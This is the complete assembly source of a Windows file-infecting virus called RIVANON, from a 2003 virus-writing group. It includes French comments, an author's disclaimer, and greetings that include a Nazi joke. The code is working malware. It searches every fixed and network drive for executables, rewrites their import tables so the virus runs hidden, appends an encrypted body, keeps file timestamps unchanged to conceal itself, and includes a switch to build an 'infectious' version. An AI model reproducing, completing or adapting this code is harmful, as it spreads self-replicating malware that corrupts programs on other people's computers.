;RIVANON virus, version 3.9 by Doxtor L. [TKT], June 2003.
;Contact: doxtorl38@yahoo.fr

;This source code is intended to be compiled using FASM, an open source
;assembler easily available on the web.



;Some not so usual features:

;* This virus don't change entry point of infected programs.
;* This virus don't patch opcodes of infected programs.
;* This virus don't change section attributes of infected programs.


;Here a list of some standard features used:

;* Use of a thread to make the virus 'residant'.
;* Use of hash codes to retrieve functions of Kernel32 needed.
;* Use of a traversal directory routine to parse all drives.
;* Use of SEH to make the virus more stable.
;* Use of the last section to put the main part of virus.
;* Use of encryption with a 'random' key.
;* Use of mutex to avoid to have several instances of virus infecting
;  in same time.



;How does this virus work?

;This virus is my new attempt to use a non-standard E.P.O (entry point
;obscuring) technique. My last attempt in the same way was the writing of 
;idele virus. Unfortunately this virus was a bit limited to not say buggy.
;I think RIVANON virus fixes the main 'bug' of idele virus yet RIVANON was
;totally re-written.

;The idea is to create a new import table therefore the 'old' table will be
;not changed when Windows will load the program in memory but the program will
;continue to 'believe' this table is still alright.The 'old' table can be fill
;up with addresses we want. These addresses will be pointing to addresses of
;elements of a 'push table'. What's that?  

;When a host program will call a function from Kernel32 several push's will be
;executed depending wich function is called. The number of push's executed
;will be used to know wich function of Kernel32 was called by host program.
;Sometime, Idele virus wasn't able to know wich function was called.
;After the push's, there is a small routine used to decrypt and allocate some
;memory to put the main part of virus there. GlobalAlloc function from
;Kernel32 is used to achieve this. For Windows this function is the only one
;imported from Kernel32 by an infected program.

;The virus will put a loader routine in the end of code section of target
;programs. A data section with 'writeable' attribute will be used to put the
;new 'import table'. The main code will be put in the end of last section.

;This virus was tested on both Windows98 SE and Windows 2000.
;Main tests were performed on notepad.exe and calc.exe from Windows98,
;These programs when they were infected were still running fine on both
;Windows 98 and Windows 2000. For Windows XP i don't have a clue because
;i don't use it.


;Here a list of macros and subroutines used:

;* proc_infectieuse				: start of thread code
;* GEN_ALEATOIRE				; random generator
;* RECHERCHE_CIBLE_DANS_REPERTOIRE_COURANT	: routine to find targets
;						  in current directory
;* INFECTION					: routine to modify target
;* proc_seh					: seh handler
;* copie_chaine					: routine to copy ASCII
						; string null terminated.
;* rva_vers_adr_map				; rva to map address routine
;* adr_map_vers_rva				; map address to rva routine
;* aligne					; align section size fields
;* debut_loader					; loader routine




;The source code has some comments in french. Anyway, this source code
;isn't intended to be read by beginners in vx world. The advanced vxers
;don't really need comments to understand how this code works, the code is
;enough structured to make it readable without comments.



;DISCLAIMER:

;This program is a virus, it's not destructive but has ability to infect
;all O.S Win32 based computers. I don't release this source code to be used
;to infect innocent user puters. It was created for research aims.

;Your are the only responsible if you decide to run it.

;IF YOU DON'T KNOW WHAT YOU'RE DOING, DON'T COMPILE IT!


;Greetings:


;Virusbuster    : Thanks to publish my stuff.
;Lord Julus 	: For your working search traversal routine.
;Darkman	: A good nazi can sing Horst Vessel lied by heart.
;Morphie	: Too bad we didn't meet in Paris.
;Gigabyte	: Editing a vx e-zine is a hard job you're right.
;Toofic		: I'm not a pervert old man.
;Mandrag0re	: Who's the next to be hacked?
;Emper0r	: Thanks to publish my stuff in IOC.
;Delly		: A good magician can make disappear everything..but you're
;		  the greatest, you can make appear weed everywhere!
;Cryptic	: I remember i must install my network card.
;Gato		: I hope everything is alright now, no news from you.
;Slagehammer	: A new sample  for your collection.
;Vecna		: I'm wondering what is your contribution to 29a7!

;And all members of TKT group

	 	
;IN MEMORY OF T2




format PE GUI
entry commencement

include		'include\macro\import.inc'
include		'include\macro\stdcall.inc'
include		'include\exehdr.inc'
include		'include\kernel.inc'



DEBUG=TRUE
ADR_BASE=400000h
ALIGNEMENT_FICHIER_STANDARD=200h
ALIGNEMENT_MEMOIRE_STANDARD=1000h
DUREE_PAUSE1=120000
DUREE_PAUSE2=30000
MODULE=4235536237
SIGNATURE_VIRAL equ 'VX'

if DEBUG=TRUE
TYPE_FICHIER_RECHERCHE0 equ 'e'
SEH=FALSE
display "YOU'RE COMPILING THE DEBUG VERSION OF RIVANON VIRUS",CRLF
else
TYPE_FICHIER_RECHERCHE0 equ '*'
SEH=TRUE
display "YOU'RE COMPILING INFECTIOUS VERSION OF RIVANON VIRUS",CRLF
end if
display "IF YOU DON'T KNOW WHAT YOU'RE DOING PLEASE ERASE THIS PROGRAM",CRLF

TYPE_FICHIER_RECHERCHE1	equ 'x.ex'
TOUT_FICHIER		equ '*'
REMONTE			equ '..'
REPERTOIRE_COURANT	equ '.'
REPERTOIRE_PARENT	equ REMONTE
DERNIER_3_BIT=111b



;'strutures':
IMAGE_DOS_HEADER	ecx,edx,edi
IMAGE_FILE_HEADER	ecx,edx,esi
IMAGE_OPTIONAL_HEADER	edx,edi
IMAGE_SECTION_HEADER	esi,edi
IMAGE_DATA_DIRECTORY	eax,esi
IMAGE_IMPORT_DESCRIPTOR	esi
IMAGE_IMPORT_BY_NAME	eax
IMAGE_EXPORT_DIRECTORY	eax
WIN32_FIND_DATA		edi,eax

adr_mem_alloc dd 0


;macros utilisees par le virus:

macro GEN_ALEATOIRE
{

;generateur aleatoire base sur BBS:
pushad
mov ebx,MODULE
mov eax,[seed+ebp]
mul eax
div ebx
mov [seed+ebp],edx
popad
}

;[Debut du code de la fonction principale du virus]:

macro	INFECTION
{

infection:

pushad

if SEH=TRUE
push ebp
lea eax,[proc_seh+ebp]
push eax dword [fs:0]
mov dword [fs:0],esp
end if

;[Ouverture du fichier cible et creation de son image memoire]:

lea edi,[struct_recherche+ebp]
lea esi,[edi.WFD_szFileName]
stdcall [SetFileAttributesA+ebp],esi,FILE_ATTRIBUTE_NORMAL

add dword [edi.WFD_nFileSizeLow],TAILLE_VIRUS_ALIGNE_FICHIER

xor ebx,ebx
stdcall [CreateFileA+ebp],esi,GENERIC_READ or GENERIC_WRITE,\
FILE_SHARE_READ,ebx,OPEN_EXISTING,ebx,ebx
inc eax
jz err_infection
dec eax
mov [handle_fichier_cible+ebp],eax

stdcall [CreateFileMappingA+ebp],eax,ebx,PAGE_READWRITE,ebx,\
dword [edi.WFD_nFileSizeLow],ebx
test eax,eax
jz err_infection
mov [handle_map_cible+ebp],eax

stdcall [MapViewOfFile+ebp],eax,FILE_MAP_ALL_ACCESS,ebx,ebx,ebx
test eax,eax
jz err_infection

mov [adr_map_cible+ebp],eax
mov edx,eax

;[Fin de la creation de l'image memoire du fichier cible]

;[Debut de la verification du fichier cible]:

cmp word [edx.MZ_magic],MZ_MAGIC
jnz err_infection

movzx eax,word [edx.MZ_csum]
cmp word [edx.MZ_csum],SIGNATURE_VIRAL
jz err_infection

mov eax,dword [edx.MZ_lfanew]
cmp eax,dword [edi.WFD_nFileSizeLow]
jae err_infection

add edx,eax
mov [adr_map_IMAGE_FILE_HEADER_cible+ebp],edx

cmp dword [edx.FH_Signature],PE_MAGIC
jnz err_infection


;[Debut de la recherche de la section 'code', la section qui contient
;le point d'entree du programme cible]:

movzx ebx,word [edx.FH_SizeOfOptionalHeader]
movzx ecx,word [edx.FH_NumberOfSections]
push ecx
add edx,sizeof.IMAGE_FILE_HEADER

mov [adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp],edx

mov dword [edx.OH_FileAlignment],ALIGNEMENT_FICHIER_STANDARD


mov eax,dword [edx.OH_ImageBase]
mov [adr_image_base+ebp],eax

;a partir d'ici la variable adr_image_base concerne la cible

mov eax,dword [edx.OH_AddressOfEntryPoint]
add edx,ebx
mov [adr_map_IMAGE_SECTION_HEADER_cible+ebp],edx
mov esi,edx

recherche_section_code:
cmp dword [esi.SH_VirtualAddress],eax
ja section_code_trouve
add esi,sizeof.IMAGE_SECTION_HEADER
loop recherche_section_code

jmp err_infection


section_code_trouve:
;[Fin de la routine de recherche de la section 'code];


;[Debut de la localisation d'un espace 'vide' et de sa taille dans
;la fin de la section 'code']:
mov edi,dword [esi.SH_PointerToRawData]
add edi,[adr_map_cible+ebp]
dec edi
std
xor eax,eax
xor ecx,ecx
dec ecx
rep scasb
neg ecx
sub ecx,10	;pour tenir compte de la presence eventuelle d'une
add edi,10	;'table d'import' (celle ci se finissant par db 0,0,0,0)
		
mov [nbre_octet_libre_sect_code_cible+ebp],ecx
mov [adr_map_espace_libre_sect_code_cible+ebp],edi

sub esi,sizeof.IMAGE_SECTION_HEADER
call aligne
pop ecx

;si la section code a l'attribut ecriture mieux vaut abandonner l'infection:
test dword [esi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
jnz err_infection

;[Fin de la localisation d'un espace dans la section 'code']




;[Debut de la localisation d'un espace vide a la fin d'une section 'data']:

mov esi,edx

recherche_section_data:
test dword [esi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
jnz section_data_trouve
add esi,sizeof.IMAGE_SECTION_HEADER
loop recherche_section_data

jmp err_infection

section_data_trouve:
cmp dword [esi.SH_PointerToRawData],0
jz recherche_section_data

dec ecx
jz err_infection
inc ecx

mov edi,dword [esi.SH_PointerToRawData+sizeof.IMAGE_SECTION_HEADER]
add edi,[adr_map_cible+ebp]

sub edi,4
cmp dword [edi],0
jnz recherche_section_data
sub edi,4
cmp dword [edi],0
jnz recherche_section_data

mov [adr_map_espace_libre_sect_data_cible+ebp],edi
call aligne

;[Fin de la localisation d'un espace vide dans la section 'data']



;[Recherche de le structure IMAGE_IMPORT_DESCRIPTOR dediee aux imports
;de Kernel32]:

mov edx,[adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp]
lea esi,[edx+sizeof.IMAGE_OPTIONAL_HEADER+sizeof.IMAGE_DATA_DIRECTORY]

;esi pointe sur la structure IMAGE_DATA_DIRECTORY dediee a l'import:
mov esi,dword [esi.DD_VirtualAddress]


stdcall rva_vers_adr_map,esi
mov esi,eax

sub esi,sizeof.IMAGE_IMPORT_DESCRIPTOR

recherche_k32_image_import_descriptor:

add esi,sizeof.IMAGE_IMPORT_DESCRIPTOR
mov edi,dword [esi.ID_Name]
test edi,edi
jz err_infection

stdcall rva_vers_adr_map,edi
mov edi,eax

cmp dword [edi],'KERN'
jnz recherche_k32_image_import_descriptor

add edi,4

cmp dword [edi],'EL32'
jnz recherche_k32_image_import_descriptor

mov [adr_map_IMAGE_IMPORT_DESCRIPTOR_cible+ebp],esi

;[Fin de la recherche de la structure IMAGE_IMPORT_DESCRIPTOR]

mov eax,[esi.ID_FirstThunk]
push eax
add eax,[adr_image_base+ebp]
mov [adr_1st_thunk_avant_infection_hote+ebp],eax
pop eax

stdcall rva_vers_adr_map,eax
mov [adr_map_1st_thunk_k32_cible+ebp],eax

mov esi,dword [esi.ID_OriginalFirstThunk]
test esi,esi
jz err_infection

mov [rva_orig_1st_thunk_avant_infection_hote+ebp],esi

stdcall rva_vers_adr_map,esi
mov [adr_map_original_1st_thunk_k32_cible+ebp],eax



;[Debut du calcul du nombre de fonctions de Kernel32 importees par le
;programme cible]:

mov esi,eax
mov edi,eax
cld
xor eax,eax
xor ecx,ecx
dec ecx
repne scasd
neg ecx
dec ecx
dec ecx

mov [nbre_fct_k32_cible+ebp],ecx

lea ebx,[ecx+TAILLE_LOADER+2*sizeof.IMAGE_THUNK_DATA]
mov ecx,[nbre_octet_libre_sect_code_cible+ebp]
sub ecx,ebx
jl err_infection

add [adr_map_espace_libre_sect_code_cible+ebp],ecx

;[Fin du calcul du nombre de fonctions importees de Kernel32]

mov ebx,esi

;[Recherche d'une fonction de Kernel32 importee par la cible
;dont le nom a au moins 11 symboles]:

xor ebx,ebx
dec ebx

recherche_nom_fct_k32_cible:
inc ebx
lodsd
test eax,eax
jz err_infection

mov [rva_IMAGE_IMPORT_BY_NAME_cible+ebp],eax
mov ecx,eax
stdcall rva_vers_adr_map,eax
lea edi,[eax.IBN_Name]
mov edx,edi

pushad
xor eax,eax
xor ecx,ecx
mov cl,11
repne scasb
popad
jz recherche_nom_fct_k32_cible


;[Fin de la verification du fichier cible]



pushad
mov esi,edx
mov word [esi-2],0
mov [index_fct_k32_altere_hote+ebp],ebx
lea edi,[sz_nom_fct_k32_altere_hote+ebp]
call copie_chaine

lea esi,[sz_nom_globalalloc+ebp]

mov edi,edx
call copie_chaine
popad

;[Fin de la recherche d'une fonction de Kernel32 importee dont le nom a au
;moins 11 symboles]


;mov edi,[adr_map_espace_libre_sect_code_cible+ebp]
mov edi,[adr_map_espace_libre_sect_data_cible+ebp]


stdcall adr_map_vers_rva,edi
mov ebx,eax

mov eax,[rva_IMAGE_IMPORT_BY_NAME_cible+ebp]

stosd		;la RVA de la structure IMAGE_IMPORT_BY_NAME de Kernel32 est
		;transferee dans la section code. La RVA de l'emplacement
		;contenant ceci sera la nouvelle valeur FirstThunk de la
		;cible.


mov edi,[adr_map_IMAGE_IMPORT_DESCRIPTOR_cible+ebp]

xor eax,eax
stosd			;construction OriginalFirstThunk
stosd			;TimeDateStamp
stosd			;ForwarderChain
add edi,4
mov eax,ebx		;construction FirstThunk
stosd

add ebx,[adr_image_base+ebp]
mov [ptr1_adr_globalalloc+ebp],ebx
mov [ptr2_adr_globalalloc+ebp],ebx


;[Debut de la reconstruction de la table des thunk_data pointee par
;first_thunk]:

mov eax,[adr_map_espace_libre_sect_code_cible+ebp]
push eax
stdcall adr_map_vers_rva,eax
add eax,[adr_image_base+ebp]

mov ecx,[nbre_fct_k32_cible+ebp]
push ecx
mov edi,[adr_map_1st_thunk_k32_cible+ebp]

element_suivant_tab_thunk_data:
stosd
inc eax
loop element_suivant_tab_thunk_data

;[Fin de la reconstruction de la table]



;[Debut de la construction de la "table des push"]:

sub eax,[adr_image_base+ebp]
stdcall rva_vers_adr_map,eax

mov [adr_map_loader_sect_code_cible+ebp],eax

pop ecx
pop edi

;[Determination de l'instruction PUSH qui va etre transferee]:

lea eax,[struct_recherche+ebp]
mov al,[eax.WFD_szFileName]
and al,DERNIER_3_BIT
add al,50h

;[Fin de la determination]

element_suivant_table_push:
stosb
loop element_suivant_table_push

;[Fin de la construction de la "table des push"]



;[Debut de la destruction de l'en-tete de la directory BOUND_IMPORT_DIRECTORY]:

mov edi,[adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp]
lea edi,[edi+sizeof.IMAGE_OPTIONAL_HEADER+11*sizeof.IMAGE_DATA_DIRECTORY]
xor eax,eax
stosd
stosd

;[Fin de la destruction]


;[Debut de la routine de transfert des deux parties du virus]:

mov esi,[adr_map_IMAGE_FILE_HEADER_cible+ebp]

movzx ecx,word [esi.FH_NumberOfSections]
dec ecx


mov eax,sizeof.IMAGE_SECTION_HEADER
mul ecx
mov esi,[adr_map_IMAGE_SECTION_HEADER_cible+ebp]
lea esi,[esi+eax]

lea edx,[esi.SH_SizeOfRawData]

mov ecx,dword [edx]

add dword [edx],TAILLE_VIRUS_ALIGNE_FICHIER
add dword [esi.SH_VirtualSize],TAILLE_VIRUS_ALIGNE_MEMOIRE

call aligne

mov edx,[adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp]
add dword [edx.OH_SizeOfImage],TAILLE_VIRUS_ALIGNE_MEMOIRE

mov edx,dword [esi.SH_PointerToRawData]

add edx,ecx

add edx,dword [adr_map_cible+ebp]

stdcall adr_map_vers_rva,edx
add eax,[adr_image_base+ebp]


mov [adr_fin_derniere_sect_hote+ebp],eax

GEN_ALEATOIRE
mov eax,[seed+ebp]
mov byte [clef+ebp],al

mov edi,[adr_map_loader_sect_code_cible+ebp]
lea esi,[debut_loader+ebp]
cld
mov ecx,TAILLE_LOADER
rep movsb

lea esi,[debut_virus+ebp]
mov edi,edx
mov ecx,TAILLE_VIRUS
call crypt


;on marque la cible pour ne pas la reinfecter
mov edi,[adr_map_cible+ebp]
lea edi,[edi.MZ_csum]
mov ax,'VX'
stosw

;[Fin de la routine de transfert des deux parties du virus]

jmp sortie_infection

err_infection:
lea edi,[struct_recherche+ebp]

sub dword [edi.WFD_nFileSizeLow],TAILLE_VIRUS_ALIGNE_FICHIER


;[Debut de la restitution a l'O.S et de la fermeture du fichier cible]:

sortie_infection:

lea edi,[struct_recherche+ebp]
stdcall [UnmapViewOfFile+ebp],[adr_map_cible+ebp]
stdcall [CloseHandle+ebp],[handle_map_cible+ebp]

xor ebx,ebx
mov esi,[handle_fichier_cible+ebp]
stdcall [SetFilePointer+ebp],esi,dword [edi.WFD_nFileSizeLow],ebx,ebx

stdcall [SetEndOfFile+ebp],esi

lea eax,[edi.WFD_ftLastWriteTime]
push eax
lea eax,[edi.WFD_ftLastAccessTime]
push eax
lea eax,[edi.WFD_ftCreationTime]
push eax
push esi
call [SetFileTime+ebp]


stdcall [CloseHandle+ebp],esi

lea eax,[edi.WFD_szFileName]
stdcall [SetFileAttributesA+ebp],eax,dword [edi.WFD_dwFileAttributes]

;[Fin de la fermeture du fichier cible]

if SEH=TRUE
pop dword [fs:0]
pop eax
pop ebp
end if

popad
}

;[Fin de la fonction infectieuse]







;[Debut de la recherche dans le repertoire courant]:


macro	RECHERCHE_CIBLE_DANS_REPERTOIRE_COURANT
{

recherche_cible_dans_repertoire_courant:

pushad

push TYPE_FICHIER_RECHERCHE0
push TYPE_FICHIER_RECHERCHE1
mov eax,esp
stdcall [FindFirstFileA+ebp],eax,edi
pop ecx ecx
mov ebx,eax
inc eax
jz sortie_recherche_fichier

fichier_suivant:

INFECTION

stdcall [FindNextFileA+ebp],ebx,esi
test eax,eax
jnz fichier_suivant

sortie_recherche_fichier:
popad

}

;[Fin de la recherche dans le repertoire courant]



;[Debut du programme hote regulier]:

commencement:

invoke faux_Sleep,DUREE_PAUSE1
invoke faux_ExitProcess,0

;[Fin du programme hote regulier]




__ExitProcess:
push eax
__Sleep:
push eax

execution_fct_k32:
pushad






;[Debut reel du virus]:

debut_virus:

;[Calcul du decalage du a la relocation du code du virus]:

call ici
ici:
pop ebp
sub ebp,ici

;[Fin du calcul du a la relocation]



;Premiere execution du code viral


;[Debut de la recherche de l'adresse de Kernel32]:

db 8bh,15h		;mov edx,[<adr>]
ptr1_adr_globalalloc dd ExitProcess


;[Debut de la remise a zero de l'emplacement dans la section 'data' utilise]:

mov edi,[ptr1_adr_globalalloc+ebp]
xor eax,eax
stosd

;[Fin de la remise a zero]

mov eax,edx

recherche_mz:
dec edx
cmp word [edx.MZ_magic],MZ_MAGIC
jnz recherche_mz

;une signature "MZ" a ete trouvee

mov ecx,edx
mov ecx,dword [ecx.MZ_lfanew]
add ecx,edx
jc recherche_mz

cmp ecx,eax
ja recherche_mz

cmp dword [ecx.FH_Signature],PE_MAGIC
jnz recherche_mz

;[Fin de recherche de l'adresse de Kernel32]

;ecx pointe sur l'en-tete IMAGE_FILE_HEADER de Kernel32
;edx contient l'adresse de Kernel32




;[Debut de la recherche des fonctions de Kernel32 utilisees par le virus]:

;eax pointe sur le debut de la structure IMAGE_DIRECTORY_DATA de la directory
;export:

lea eax,[ecx+sizeof.IMAGE_FILE_HEADER+sizeof.IMAGE_OPTIONAL_HEADER]

mov eax,dword [eax.DD_VirtualAddress]
add eax,edx

mov esi,dword [eax.ED_AddressOfNames]
add esi,edx

or ebx,-1
mov ecx,NBRE_FCT_K32_VIRUS
sub esi,4

recherche_adr_fct_k32_virus:

add esi,4
inc ebx

;[Debut du calcul d'un condense pour le nom de la fonction de Kernel32
;en cours de test]:

pushad
mov esi,dword [esi]
add esi,edx

xor eax,eax
xor ecx,ecx

caractere_suivant:

lodsb
or al,al
jz fin_chaine
add cl,al
rol eax,cl
add ecx,eax
jmp caractere_suivant

fin_chaine:
mov [condense+ebp],ecx
popad

;[Fin du calcul du condense]

;[Debut de la recherche du condense dans la table des condenses pre-calcules
;des fonctions de Kernel32 utilisees par le virus]:

push eax
push ecx
mov eax,[condense+ebp]
mov ecx,NBRE_FCT_K32_VIRUS
lea edi,[tab_condense+ebp]
repne scasd
pop ecx
pop eax
jnz recherche_adr_fct_k32_virus


;[Fin de la recherche du condense dans la table]


;[Recuperation de l'adresse de la fonction de Kernel32 dont le condense du nom
;est dans la table]:

pushad
mov ecx,dword [eax.ED_AddressOfNamesOrdinals]
add ecx,edx

movzx ebx,word [ecx+2*ebx]

mov ecx,dword [eax.ED_AddressOfFunctions]
add ecx,edx

mov ecx,dword [ecx+4*ebx]
add ecx,edx

add edi,4*NBRE_FCT_K32_VIRUS-4
mov dword [edi],ecx

popad

;[Fin de la recuperation de l'adresse de la fonction de Kernel32]

loop recherche_adr_fct_k32_virus

;[Fin de la recherche des fonctions de Kernel32 utilisees par le virus]





;[Debut de la recuperation des adresses des fonctions de Kernel32 utilisees
;par l'hote]:

mov esi,[rva_orig_1st_thunk_avant_infection_hote+ebp]
add esi,[adr_image_base+ebp]

lea edi,[tab_adr_fct_k32_hote+ebp]

explore_struct_import_by_name_k32_hote:

lodsd
test eax,eax
jz fin_recuperation_fct_k32_hote

add eax,[adr_image_base+ebp]

pushad
lea ebx,[eax.IBN_Name]
stdcall [GetProcAddress+ebp],edx,ebx
mov dword [esp+28],eax
popad			;seulement eax est modifie


stosd
jmp explore_struct_import_by_name_k32_hote

fin_recuperation_fct_k32_hote:

;[Recuperation de la fonction de Kernel32 dont la structure
;IMPORT_BY_NAME a ete changee pour accueillir le nom GlobalAlloc]:

pushad
lea ebx,[sz_nom_fct_k32_altere_hote+ebp]
stdcall [GetProcAddress+ebp],edx,ebx
mov ecx,[index_fct_k32_altere_hote+ebp]
lea edi,[tab_adr_fct_k32_hote+4*ecx+ebp]
stosd
popad


;[Fin recuperation de la derniere fonction de Kernel32 de l'hote]

;[Fin de la recuperation des adresses utilisees par l'hote]



;[Debut de la restauration de la table pointee par ID_FirstThunk, telle qu'elle
;serait apres demarrage de l'hote qui n'aurait pas ete infecte]:

mov ecx,[nbre_fct_k32_cible+ebp]
push ecx
shl ecx,2

lea eax,[tampon+ebp]
mov ebx,[adr_1st_thunk_avant_infection_hote+ebp]
stdcall [VirtualProtect+ebp],ebx,ecx,PAGE_EXECUTE_READWRITE,eax

pop ecx

lea esi,[tab_adr_fct_k32_hote+ebp]
mov edi,ebx
cld
rep movsd

;[Fin de la restauration de la table]



;[Debut de creation de la thread infectieuse]:

lea esi,[thread_id+ebp]
lea edi,[proc_infectieuse+ebp]
xor eax,eax
stdcall [CreateThread+ebp],eax,eax,edi,eax,eax,esi

;[Fin de la creation de la thread]



;[Determination de l'adresse de la fonction de Kernel32 appelee par l'hote]:

renvoi_vers_fonction_appele:

;transfert du contenu des 8 premiers elements de la pile qui proviennent d'un
;PUSHAD

mov esi,esp
xor ecx,ecx
mov cl,8
cld
lea edi,[tampon_registre+ebp]
rep movsd

add esp,4*8

;on compte le nombre d'elements semblables consecutifs dans la pile

xor ecx,ecx
inc ecx

pop eax

test_pile:
pop ebx
cmp ebx,eax
jnz fin_test_pile
inc ecx
jmp test_pile

fin_test_pile:

push ebx
mov ebx,[nbre_fct_k32_cible+ebp]
sub ebx,ecx
mov eax,[tab_adr_fct_k32_hote+4*ebx+ebp]

pushad
;on restaure la pile telle qu'elle devrait etre sans les PUSH successifs, le
;sommet de la pile sera occupe par les valeurs mises par le PUSHAD du loader

lea esi,[tampon_registre+ebp]
mov edi,esp
xor ecx,ecx
mov cl,8
rep movsd
xchg [esp+28],eax
popad
jmp eax		;fait suivre l'appel a la fonction de Kernel32 appelee


;[Fin de la determination de la fonction appelee]










;[Debut du code de la thread infectieuse]:

proc_infectieuse:

call suite
suite:
pop ebp
sub ebp,suite

mov ebx,'B:\'

faire_une_pause:
stdcall [Sleep+ebp],DUREE_PAUSE2


;[Verification de la presence du virus en memoire]:

lea edi,[signature+ebp]

stdcall [CreateMutexA+ebp],NULL,TRUE,edi
mov [handle_mutex+ebp],eax
test eax,eax
jz fin_thread

call [GetLastError+ebp]
test eax,eax
jnz fin_thread


;[Fin de la verification]




;[Debut de la recherche de programmes cibles]:

recherche_cible:


;[Debut de la determination du drive a explorer]:

cherche_drive:
mov ah,0
mov al,bl
sub al,40h
mov cl,26
div cl
mov bl,ah
add bl,41h

stdcall [GetDriveTypeA+ebp],esp,ebx
pop ecx
cmp al,DRIVE_FIXED
jz exploration_repertoire
cmp al,DRIVE_REMOTE
jnz cherche_drive

;[Fin de la determination du drive a explorer]


;[Debut de l'exploration des repertoires et sous-repertoires]:

exploration_repertoire:
pushad
                                     
repertoire_base_recherche:
stdcall [SetCurrentDirectoryA+ebp],esp,ebx
pop eax

xor esi,esi				;esi, nombre de handles dans  la pile
lea edi,[ebp+struct_recherche]

recherche_premier_repertoire:
push TOUT_FICHIER
mov eax,esp
stdcall [FindFirstFileA+ebp],eax,edi
pop ecx

inc eax
je pas_de_sous_repertoire
dec eax

mov ebx,eax

est_ce_un_repertoire:
test dword  [edi.WFD_dwFileAttributes],10h
je recherche_repertoire_suivant

lea eax, [edi.WFD_szFileName]

cmp word [eax],REPERTOIRE_COURANT
je recherche_repertoire_suivant

cmp word [eax],REPERTOIRE_PARENT
je recherche_repertoire_suivant

stdcall [SetCurrentDirectoryA+ebp],eax

RECHERCHE_CIBLE_DANS_REPERTOIRE_COURANT

push ebx
inc esi
jmp recherche_premier_repertoire

recherche_repertoire_suivant:
stdcall [FindNextFileA+ebp],ebx,edi
test eax,eax
jnz est_ce_un_repertoire

plus_de_sous_repertoire:
stdcall [FindClose+ebp],ebx

pas_de_sous_repertoire:
stdcall [SetCurrentDirectoryA+ebp],esp,REMONTE
pop eax

or esi,esi
jz fin_de_la_recherche

dec esi
pop ebx
jmp recherche_repertoire_suivant

fin_de_la_recherche:
popad


;[Fin de l'exploration]


fin_thread:
stdcall [CloseHandle+ebp],[handle_mutex+ebp]
jmp faire_une_pause

;[Fin de la recherche de programmes cibles]

;[Fin du code de la thread infectieuse]





;[Debut de la routine qui intercepte les erreurs]:

if SEH=TRUE
proc_seh:
mov esp,[esp+8]
mov ebp,[esp+8]
jmp err_infection
end if

;[Fin de la routine qui intercepte les erreurs]




;[Debut de la fonction de recopie d'une chaine de caracteres terminee par 0]:
copie_chaine:

pushad
octet_suivant:
lodsb
stosb		;meme le 0 final de la chaine est recopie
cmp al,0
jnz octet_suivant
popad
ret

;[Fin de la fonction de recopie]




;[Debut de la fonction de conversion d'une RVA en une adresse dans le fichier
;image memoire]:

rva_vers_adr_map:

pop eax
xchg eax,[esp]
pushad
mov edx,[adr_map_IMAGE_FILE_HEADER_cible+ebp]
movzx ecx,word [edx.FH_NumberOfSections]

mov esi,[adr_map_IMAGE_SECTION_HEADER_cible+ebp]

cherche_section_par_rva:
cmp dword [esi.SH_VirtualAddress],eax
ja rva_localise
add esi,sizeof.IMAGE_SECTION_HEADER
loop cherche_section_par_rva

rva_localise:
sub esi,sizeof.IMAGE_SECTION_HEADER
sub eax,dword [esi.SH_VirtualAddress]
add eax,dword [esi.SH_PointerToRawData]
add eax,[adr_map_cible+ebp]
mov dword [esp+28],eax
popad
ret


;[Fin de la fonction de conversion d'une RVA]


;[Debut de la fonction de conversion d'une adresse dans l'image memoire
;d'un fichier en une RVA]:

adr_map_vers_rva:
pop eax
xchg eax,[esp]
pushad
sub eax,[adr_map_cible+ebp]
mov edx,[adr_map_IMAGE_FILE_HEADER_cible+ebp]
movzx ecx,word [edx.FH_NumberOfSections]

mov esi,[adr_map_IMAGE_SECTION_HEADER_cible+ebp]

cherche_section:
cmp dword [esi.SH_PointerToRawData],eax
ja section_trouve
add esi,sizeof.IMAGE_SECTION_HEADER
loop cherche_section

section_trouve:
sub esi,sizeof.IMAGE_SECTION_HEADER
sub eax,dword [esi.SH_PointerToRawData]
add eax,dword [esi.SH_VirtualAddress]
mov dword [esp+28],eax
popad
ret

;[Fin de la fonction de conversion d'une adresse de l'image memoire
;d'un fichier]


;[Debut de la fonction d'alignement des champs taille d'une section]:

aligne:

;les champs taille de la section sur laquelle pointe esi sont alignes

pushad

mov edi,[adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp]

;alignement memoire:

mov ebx,dword [edi.OH_SectionAlignment]
dec ebx
xor edx,edx
lea ecx,[esi.SH_VirtualSize]
mov eax,[ecx]
add eax,ebx
inc ebx
div ebx
mul ebx
mov [ecx],eax

;alignement fichier:

mov ebx,dword [edi.OH_FileAlignment]
dec ebx
lea ecx,[esi.SH_SizeOfRawData]
mov eax,[ecx]
add eax,ebx
inc ebx
div ebx
mul ebx
mov [ecx],eax
popad
ret

;[Fin de la fonction d'alignement]


;[Debut du code du loader du virus]:

debut_loader:
pushad

push 8000
push GPTR
db 0ffh,15h	;call [<adr>] appel a GlobalAlloc en fait
ptr2_adr_globalalloc dd ?
push eax
mov edi,eax
mov ecx,TAILLE_VIRUS
db 0beh		;mov esi,adr
adr_fin_derniere_sect_hote dd ?
crypt:
cld
octet_suivant_a_decrypter:
lodsb
db 34h		;xor al,value
clef db 0
stosb
loop octet_suivant_a_decrypter
exit_loader:
ret
TAILLE_LOADER=$-debut_loader

;[Fin du code du loader]

;zone de donnees qui vont etre greffees au programme cible:

seed						dd 1fac3b9dh
nbre_fct_k32_cible				dd 2
adr_image_base					dd ADR_BASE
adr_1st_thunk_avant_infection_hote		dd vrai_ID_FirstThunk_k32
rva_orig_1st_thunk_avant_infection_hote		dd RVA vrai_ID_OriginalFirstThunk_k32
index_fct_k32_altere_hote			dd 0
sz_nom_fct_k32_altere_hote			db 'ExitProcess'
rb 30
sz_nom_globalalloc				db 'GlobalAlloc',0
signature					db 'RIVANON',0
						db 'V 3.9, DrL. [TKT] June 2003'


;Les deux tables qui suivent doivent etre collees l'une a l'autre et l'ordre des elements
;de ces tables respecte.

tab_condense:

dd 0fdbe9ddfh		;CloseHandle
dd 04b00fba1h		;CreateFileA
dd 00d6ea22eh		;CreateFileMappingA
dd 0abfd70b5h		;CreateMutexA
dd 0be307c51h		;CreateThread
dd 0be7b8631h		;FindClose
dd 0c915738fh		;FindFirstFileA
dd 08851f43dh		;FindNextFileA
dd 09c3a5210h		;GetDriveTypeA
dd 091c21cb7h		;GetLastError
